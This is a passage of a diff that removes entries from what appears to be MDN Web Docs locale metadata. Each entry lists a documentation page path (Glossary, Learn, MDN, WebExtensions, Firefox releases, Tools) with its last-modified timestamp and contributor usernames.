- "modified": "2019-04-08T06:57:09.138Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Glossary/Metadata": {
- "modified": "2019-03-18T21:46:57.702Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/MitM": {
- "modified": "2019-03-18T21:29:48.838Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Node.js": {
- "modified": "2019-03-23T22:30:21.428Z",
- "contributors": [
- "Anonymous",
- "GoToLoop"
- ]
- },
- "Glossary/OOP": {
- "modified": "2019-03-18T21:47:01.837Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/OTA": {
- "modified": "2019-03-23T22:30:21.528Z",
- "contributors": [
- "GoToLoop"
- ]
- },
- "Glossary/Object": {
- "modified": "2019-03-18T21:46:57.221Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Object_reference": {
- "modified": "2019-03-18T21:18:01.122Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Polyfill": {
- "modified": "2019-03-23T22:04:04.730Z",
- "contributors": [
- "pedrodfcosta"
- ]
- },
- "Glossary/Prototype-based_programming": {
- "modified": "2019-03-18T21:47:01.974Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/SCM": {
- "modified": "2020-06-13T09:32:48.386Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Server": {
- "modified": "2019-03-23T22:30:25.987Z",
- "contributors": [
- "GoToLoop"
- ]
- },
- "Glossary/Signature": {
- "modified": "2019-03-23T22:12:54.952Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Tag": {
- "modified": "2019-03-23T22:01:42.150Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/UTF-8": {
- "modified": "2019-03-18T20:40:41.143Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Value": {
- "modified": "2019-03-18T21:18:07.651Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Viewport": {
- "modified": "2020-06-10T11:59:40.452Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Visual_Viewport": {
- "modified": "2020-06-10T13:52:57.763Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/WHATWG": {
- "modified": "2020-06-12T08:44:24.569Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/WebExtensions": {
- "modified": "2019-03-18T21:37:24.767Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/WebRTC": {
- "modified": "2020-06-07T12:24:38.989Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/WebVTT": {
- "modified": "2020-06-12T12:26:29.739Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/World_Wide_Web": {
- "modified": "2019-03-18T21:46:52.018Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Wrapper": {
- "modified": "2019-03-18T21:17:53.688Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/XHTML": {
- "modified": "2019-03-23T23:40:29.099Z",
- "contributors": [
- "Anonymous",
- "RuiMaciel"
- ]
- },
- "Glossary/XML": {
- "modified": "2019-03-23T22:01:48.146Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn": {
- "modified": "2020-07-21T13:37:41.344Z",
- "contributors": [
- "joaonunomota",
- "VITOR77777",
- "PRigter",
- "SphinxKnight",
- "svarlamov",
- "Anonymous",
- "DoviMaj",
- "joao-neves95",
- "albertocastro",
- "mrmorais",
- "Jeremie"
- ]
- },
- "Learn/Accessibility": {
- "modified": "2020-07-21T16:29:40.277Z",
- "contributors": [
- "joaonunomota",
- "Anonymous"
- ]
- },
- "Learn/CSS": {
- "modified": "2020-07-16T22:25:36.875Z",
- "contributors": [
- "joaonunomota",
- "Anonymous"
- ]
- },
- "Learn/CSS/Building_blocks": {
- "modified": "2019-03-24T00:00:34.956Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/Building_blocks/Cascade_and_inheritance": {
- "modified": "2019-03-24T00:00:35.429Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/Building_blocks/Selectors": {
- "modified": "2019-03-24T00:00:36.764Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/Building_blocks/Styling_tables": {
- "modified": "2019-03-24T00:00:35.865Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/Building_blocks/Values_and_units": {
- "modified": "2019-03-24T00:00:35.276Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/CSS_layout": {
- "modified": "2019-03-24T00:00:37.327Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/First_steps": {
- "modified": "2019-03-23T23:44:54.310Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "Leandro Mercês Xavier",
- "Verruckt",
- "Pilinio",
- "Luisvulcanis"
- ]
- },
- "Learn/CSS/First_steps/How_CSS_is_structured": {
- "modified": "2019-03-24T00:00:36.923Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/First_steps/How_CSS_works": {
- "modified": "2019-03-24T00:00:37.691Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/Howto": {
- "modified": "2020-07-16T22:25:44.063Z",
- "contributors": [
- "Anonymous",
- "chrisdavidmills"
- ]
- },
- "Learn/CSS/Howto/CSS_FAQ": {
- "modified": "2020-07-16T22:25:45.869Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/CSS/Howto/Generated_content": {
- "modified": "2020-07-16T22:25:48.413Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/CSS/Styling_text": {
- "modified": "2020-07-16T22:26:00.007Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/CSS/Styling_text/Fundamentals": {
- "modified": "2019-03-24T00:00:39.580Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier",
- "Luis Henrique Sousa"
- ]
- },
- "Learn/CSS/Styling_text/Styling_lists": {
- "modified": "2019-03-24T00:00:36.171Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/Common_questions": {
- "modified": "2020-07-16T22:35:26.594Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Common_questions/How_does_the_Internet_work": {
- "modified": "2020-07-16T22:35:37.920Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Common_questions/Pages_sites_servers_and_search_engines": {
- "modified": "2020-07-16T22:35:40.437Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Common_questions/What_is_a_URL": {
- "modified": "2020-07-16T22:35:30.214Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Common_questions/What_is_a_domain_name": {
- "modified": "2020-07-16T22:35:44.710Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Common_questions/What_is_a_web_server": {
- "modified": "2020-07-16T22:35:31.962Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Common_questions/set_up_a_local_testing_server": {
- "modified": "2020-07-16T22:35:53.519Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Front-end_web_developer": {
- "modified": "2020-12-12T20:48:26.981Z",
- "contributors": [
- "polonia",
- "nuruldecarvalho",
- "VITOR77777"
- ]
- },
- "Learn/Getting_started_with_the_web": {
- "modified": "2020-11-09T11:59:04.208Z",
- "contributors": [
- "joaonunomota",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/CSS_basics": {
- "modified": "2020-08-17T15:28:30.827Z",
- "contributors": [
- "joaonunomota",
- "diogo-panaca",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/Dealing_with_files": {
- "modified": "2020-07-20T16:01:08.653Z",
- "contributors": [
- "joaonunomota",
- "diogo-panaca",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/HTML_basics": {
- "modified": "2020-08-15T18:37:16.181Z",
- "contributors": [
- "joaonunomota",
- "diogo-panaca",
- "Anonymous",
- "mrsilvino"
- ]
- },
- "Learn/Getting_started_with_the_web/How_the_Web_works": {
- "modified": "2020-07-21T16:44:13.094Z",
- "contributors": [
- "joaonunomota",
- "gabodin",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/Installing_basic_software": {
- "modified": "2020-07-23T08:51:53.513Z",
- "contributors": [
- "joaonunomota",
- "diogo-panaca",
- "Jacgrillon",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/JavaScript_basics": {
- "modified": "2020-08-17T15:31:44.919Z",
- "contributors": [
- "joaonunomota",
- "diogo-panaca",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/Publishing_your_website": {
- "modified": "2020-08-17T15:33:14.323Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Learn/Getting_started_with_the_web/The_web_and_web_standards": {
- "modified": "2020-08-15T18:38:33.155Z",
- "contributors": [
- "joaonunomota",
- "Anonymous"
- ]
- },
- "Learn/Getting_started_with_the_web/What_will_your_website_look_like": {
- "modified": "2020-07-16T22:34:19.154Z",
- "contributors": [
- "joaonunomota",
- "diogo-panaca",
- "Anonymous"
- ]
- },
- "Learn/HTML": {
- "modified": "2020-07-16T22:22:22.937Z",
- "contributors": [
- "Anonymous",
- "RicardoLovatel",
- "chrisdavidmills"
- ]
- },
- "Learn/HTML/Howto": {
- "modified": "2020-07-16T22:22:30.740Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image": {
- "modified": "2020-07-16T22:22:43.567Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/HTML/Introduction_to_HTML": {
- "modified": "2020-07-16T22:22:52.576Z",
- "contributors": [
- "diogo-panaca",
- "joaomc",
- "Anonymous"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting": {
- "modified": "2020-07-16T22:23:57.791Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": {
- "modified": "2020-07-16T22:23:46.700Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Debugging_HTML": {
- "modified": "2020-07-16T22:24:15.706Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Document_and_website_structure": {
- "modified": "2020-07-16T22:24:08.727Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Getting_started": {
- "modified": "2020-07-16T22:23:06.412Z",
- "contributors": [
- "cmccarreiro",
- "Anonymous"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter": {
- "modified": "2020-07-16T22:23:13.979Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content": {
- "modified": "2020-07-16T22:24:20.585Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": {
- "modified": "2020-07-16T22:23:23.598Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding": {
- "modified": "2020-07-16T22:24:28.825Z",
- "contributors": [
- "Anonymous",
- "chrisdavidmills"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page": {
- "modified": "2020-07-16T22:25:08.049Z",
- "contributors": [
- "diegobarcelar",
- "Anonymous"
- ]
- },
- "Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": {
- "modified": "2020-07-16T22:24:56.333Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/HTML/Tables": {
- "modified": "2020-07-16T22:25:15.032Z",
- "contributors": [
- "Anonymous",
- "thetoni"
- ]
- },
- "Learn/HTML/Tables/Advanced": {
- "modified": "2020-07-16T22:25:27.234Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/HTML/Tables/Basics": {
- "modified": "2020-07-16T22:25:22.105Z",
- "contributors": [
- "diogo-panaca",
- "Anonymous"
- ]
- },
- "Learn/HTML/Tables/Structuring_planet_data": {
- "modified": "2020-07-16T22:25:30.543Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Index": {
- "modified": "2020-07-16T22:33:40.763Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/JavaScript": {
- "modified": "2020-07-16T22:29:43.788Z",
- "contributors": [
- "Anonymous",
- "Japroriple"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs/Manipulating_documents": {
- "modified": "2019-03-24T00:00:40.211Z",
- "contributors": [
- "fscholz",
- "teoli",
- "ethertank",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Learn/JavaScript/First_steps": {
- "modified": "2020-07-16T22:29:54.837Z",
- "contributors": [
- "Anonymous",
- "Elllenn"
- ]
- },
- "Learn/Server-side": {
- "modified": "2020-07-16T22:36:01.831Z",
- "contributors": [
- "Anonymous",
- "joao-neves95"
- ]
- },
- "Learn/Server-side/Django": {
- "modified": "2020-07-16T22:36:35.255Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Server-side/Express_Nodejs": {
- "modified": "2020-07-16T22:37:54.969Z",
- "contributors": [
- "Anonymous",
- "joao-neves95"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Introduction": {
- "modified": "2020-07-16T22:38:13.187Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Server-side/Express_Nodejs/development_environment": {
- "modified": "2020-07-16T22:38:00.728Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Server-side/Node_server_without_framework": {
- "modified": "2020-07-16T22:36:06.037Z",
- "contributors": [
- "Anonymous",
- "joao-neves95"
- ]
- },
- "Learn/Tools_and_testing": {
- "modified": "2020-07-16T22:38:57.196Z",
- "contributors": [
- "Anonymous",
- "Navin77"
- ]
- },
- "Learn/Tools_and_testing/Cross_browser_testing": {
- "modified": "2020-07-16T22:39:01.215Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Learn/Tools_and_testing/Cross_browser_testing/Accessibility": {
- "modified": "2020-09-24T09:24:04.432Z",
- "contributors": [
- "Painatalman"
- ]
- },
- "MDN": {
- "modified": "2020-02-19T18:55:27.012Z",
- "contributors": [
- "jswisher",
- "SphinxKnight",
- "Anonymous",
- "wbamberg",
- "Jeremie",
- "davempso",
- "Sheppy"
- ]
- },
- "MDN/About": {
- "modified": "2019-09-10T08:55:19.644Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous",
- "wbamberg",
- "Dilson",
- "jswisher"
- ]
- },
- "MDN/At_ten": {
- "modified": "2019-03-23T22:50:14.757Z",
- "contributors": [
- "Anonymous",
- "Matoplays"
- ]
- },
- "MDN/At_ten/History_of_MDN": {
- "modified": "2019-03-23T22:09:33.028Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "MDN/Contribute": {
- "modified": "2019-03-23T23:03:08.251Z",
- "contributors": [
- "Anonymous",
- "wbamberg",
- "alispivak"
- ]
- },
- "MDN/Contribute/Feedback": {
- "modified": "2020-09-30T17:52:26.093Z",
- "contributors": [
- "chrisdavidmills",
- "jswisher",
- "SphinxKnight",
- "Anonymous",
- "wbamberg"
- ]
- },
- "MDN/Contribute/Getting_started": {
- "modified": "2020-09-30T17:15:31.197Z",
- "contributors": [
- "chrisdavidmills",
- "joaonunomota",
- "Anonymous",
- "wbamberg",
- "riagva",
- "davempso"
- ]
- },
- "MDN/Contribute/Howto": {
- "modified": "2019-01-16T21:51:27.704Z",
- "contributors": [
- "wbamberg",
- "Anonymous",
- "jswisher"
- ]
- },
- "MDN/Contribute/Howto/Convert_code_samples_to_be_live": {
- "modified": "2020-03-02T17:27:21.266Z",
- "contributors": [
- "carlostojal",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Contribute/Howto/Create_and_edit_pages": {
- "modified": "2019-04-04T11:57:15.432Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "MDN/Contribute/Howto/Report_a_problem": {
- "modified": "2020-01-07T12:19:34.416Z",
- "contributors": [
- "peterbe",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Contribute/Howto/Tag": {
- "modified": "2019-11-13T11:32:17.983Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": {
- "modified": "2019-03-23T22:12:45.769Z",
- "contributors": [
- "wbamberg",
- "maarysantos",
- "Anonymous"
- ]
- },
- "MDN/Contribute/Howto/Write_an_API_reference/Sidebars": {
- "modified": "2020-09-30T12:57:10.465Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Guidelines": {
- "modified": "2020-09-30T15:31:28.524Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Guidelines/Conventions_definitions": {
- "modified": "2020-09-30T15:31:29.524Z",
- "contributors": [
- "chrisdavidmills",
- "jswisher",
- "Anonymous",
- "wbamberg"
- ]
- },
- "MDN/Guidelines/Does_this_belong_on_MDN": {
- "modified": "2020-09-30T15:31:29.806Z",
- "contributors": [
- "chrisdavidmills",
- "jswisher",
- "Anonymous"
- ]
- },
- "MDN/Guidelines/Writing_style_guide": {
- "modified": "2020-09-30T15:31:29.280Z",
- "contributors": [
- "chrisdavidmills",
- "joaonunomota",
- "jswisher",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Structures": {
- "modified": "2020-09-30T12:57:09.511Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "jswisher"
- ]
- },
- "MDN/Structures/Live_samples": {
- "modified": "2020-09-30T12:57:10.000Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Structures/Macros": {
- "modified": "2020-09-30T12:57:10.153Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Tools": {
- "modified": "2020-09-30T16:53:22.697Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "jswisher"
- ]
- },
- "MDN/Tools/KumaScript": {
- "modified": "2020-09-30T16:53:22.999Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "MDN/Yari": {
- "modified": "2019-09-09T15:53:50.658Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous",
- "wbamberg"
- ]
- },
- "Mozilla": {
- "modified": "2019-03-24T00:17:35.290Z",
- "contributors": [
- "Anonymous",
- "billhiba",
- "Beria"
- ]
- },
- "Mozilla/Add-ons": {
- "modified": "2019-03-18T21:08:20.167Z",
- "contributors": [
- "Anonymous",
- "nportugal",
- "Anomitro_Munshi"
- ]
- },
- "Mozilla/Add-ons/WebExtensions": {
- "modified": "2019-03-18T20:49:08.711Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API": {
- "modified": "2019-11-26T22:19:55.515Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/browserAction": {
- "modified": "2020-10-15T21:59:49.630Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/browsingData": {
- "modified": "2020-10-15T22:14:48.933Z",
- "contributors": [
- "ExE-Boss"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/browsingData/removePluginData": {
- "modified": "2020-10-15T22:14:40.836Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/devtools/panels": {
- "modified": "2020-10-15T21:59:48.885Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/i18n": {
- "modified": "2020-10-15T22:14:41.219Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/pageAction": {
- "modified": "2020-10-15T21:59:47.365Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/sidebarAction": {
- "modified": "2020-10-15T22:06:57.394Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/storage": {
- "modified": "2020-10-15T21:59:48.396Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": {
- "modified": "2019-03-18T21:03:04.427Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs": {
- "modified": "2020-10-15T20:55:03.457Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Content_scripts": {
- "modified": "2019-07-29T11:08:46.237Z",
- "contributors": [
- "duduindo",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Examples": {
- "modified": "2019-03-18T21:03:01.761Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools": {
- "modified": "2019-03-18T21:04:10.244Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests": {
- "modified": "2019-03-18T21:03:59.316Z",
- "contributors": [
- "carlosteixeiraa"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Internationalization": {
- "modified": "2019-03-18T20:56:21.219Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Match_patterns": {
- "modified": "2020-10-15T22:25:44.918Z",
- "contributors": [
- "martimafonso"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Tips": {
- "modified": "2019-03-18T21:01:44.598Z",
- "contributors": [
- "SphinxKnight"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": {
- "modified": "2019-03-18T21:05:19.046Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/What_next_": {
- "modified": "2019-03-18T21:01:48.060Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": {
- "modified": "2019-03-18T21:04:11.435Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": {
- "modified": "2019-03-18T21:03:02.346Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json": {
- "modified": "2020-10-15T21:59:48.039Z",
- "contributors": [
- "Painatalman",
- "wbamberg"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/browser_action": {
- "modified": "2020-10-15T21:59:47.236Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings": {
- "modified": "2020-10-15T22:07:31.462Z",
- "contributors": [
- "wbamberg",
- "ExE-Boss",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page": {
- "modified": "2020-10-15T21:59:47.989Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/icons": {
- "modified": "2020-10-15T21:59:47.019Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface": {
- "modified": "2019-03-18T21:04:19.885Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Browser_action": {
- "modified": "2019-03-18T21:04:05.718Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles": {
- "modified": "2020-10-15T22:07:31.177Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items": {
- "modified": "2019-03-18T21:04:09.803Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages": {
- "modified": "2019-03-18T21:03:04.123Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Notifications": {
- "modified": "2019-03-18T21:04:17.481Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Omnibox": {
- "modified": "2019-03-18T21:01:59.411Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Options_pages": {
- "modified": "2019-03-18T21:04:14.023Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Page_actions": {
- "modified": "2019-03-18T21:04:17.709Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Popups": {
- "modified": "2019-08-10T13:56:46.929Z",
- "contributors": [
- "pedrosino",
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Sidebars": {
- "modified": "2019-03-18T21:04:06.139Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels": {
- "modified": "2019-03-18T21:04:02.641Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Mozilla/Firefox": {
- "modified": "2019-09-10T15:01:27.677Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous",
- "wbamberg",
- "albertocastro",
- "Sheppy"
- ]
- },
- "Mozilla/Firefox/Releases": {
- "modified": "2019-03-18T21:15:03.747Z",
- "contributors": [
- "Anonymous",
- "wbamberg",
- "Sheppy"
- ]
- },
- "Mozilla/Firefox/Releases/1.5": {
- "modified": "2019-03-24T00:02:26.260Z",
- "contributors": [
- "wbamberg",
- "SphinxKnight",
- "fscholz",
- "Takenbot",
- "Leandro Mercês Xavier"
- ]
- },
- "Mozilla/Firefox/Releases/2": {
- "modified": "2019-03-24T00:02:35.537Z",
- "contributors": [
- "wbamberg",
- "SphinxKnight",
- "fscholz",
- "Leandro Mercês Xavier",
- "Kayalemao"
- ]
- },
- "Mozilla/Firefox/Releases/3": {
- "modified": "2019-03-23T23:19:50.195Z",
- "contributors": [
- "wbamberg",
- "ethertank"
- ]
- },
- "Mozilla/Firefox/Releases/3.5": {
- "modified": "2019-03-24T00:00:50.782Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Mozilla/Firefox/Releases/3.5/Updating_extensions": {
- "modified": "2019-03-24T00:00:34.452Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Mozilla/Firefox/Releases/3.6": {
- "modified": "2019-12-13T20:33:40.975Z",
- "contributors": [
- "wbamberg",
- "SphinxKnight",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Mozilla/Firefox/Releases/3/Site_compatibility": {
- "modified": "2019-03-23T23:47:04.199Z",
- "contributors": [
- "wbamberg",
- "Sheppy",
- "Verruckt"
- ]
- },
- "Mozilla/Firefox/Releases/3/Updating_extensions": {
- "modified": "2019-12-13T20:33:32.517Z",
- "contributors": [
- "wbamberg",
- "fscholz",
- "SphinxKnight",
- "Anonymous",
- "teoli",
- "Sheppy",
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "Mozilla/Firefox/Releases/4": {
- "modified": "2019-11-21T00:43:18.363Z",
- "contributors": [
- "wbamberg",
- "Sebastianz",
- "Prinz_Rana",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Mozilla/Firefox/Releases/5": {
- "modified": "2019-03-24T00:09:30.352Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Mozilla/Firefox/Releases/6": {
- "modified": "2019-11-21T00:43:07.958Z",
- "contributors": [
- "wbamberg",
- "Anonymous",
- "teoli",
- "Verruckt"
- ]
- },
- "Mozilla/Firefox/Releases/70": {
- "modified": "2019-10-01T09:44:22.188Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Plugins/Flash_to_HTML5": {
- "modified": "2019-03-18T20:56:20.182Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools": {
- "modified": "2020-07-16T22:44:17.493Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous",
- "wbamberg",
- "robert882",
- "Leite",
- "caobarbosa",
- "Timmi"
- ]
- },
- "Tools/Debugger": {
- "modified": "2020-07-16T22:35:06.168Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Debugger/How_to": {
- "modified": "2020-07-16T22:35:08.333Z"
- },
- "Tools/Debugger/How_to/Open_the_debugger": {
- "modified": "2020-07-16T22:35:09.351Z",
- "contributors": [
- "Anonymous"
- ]
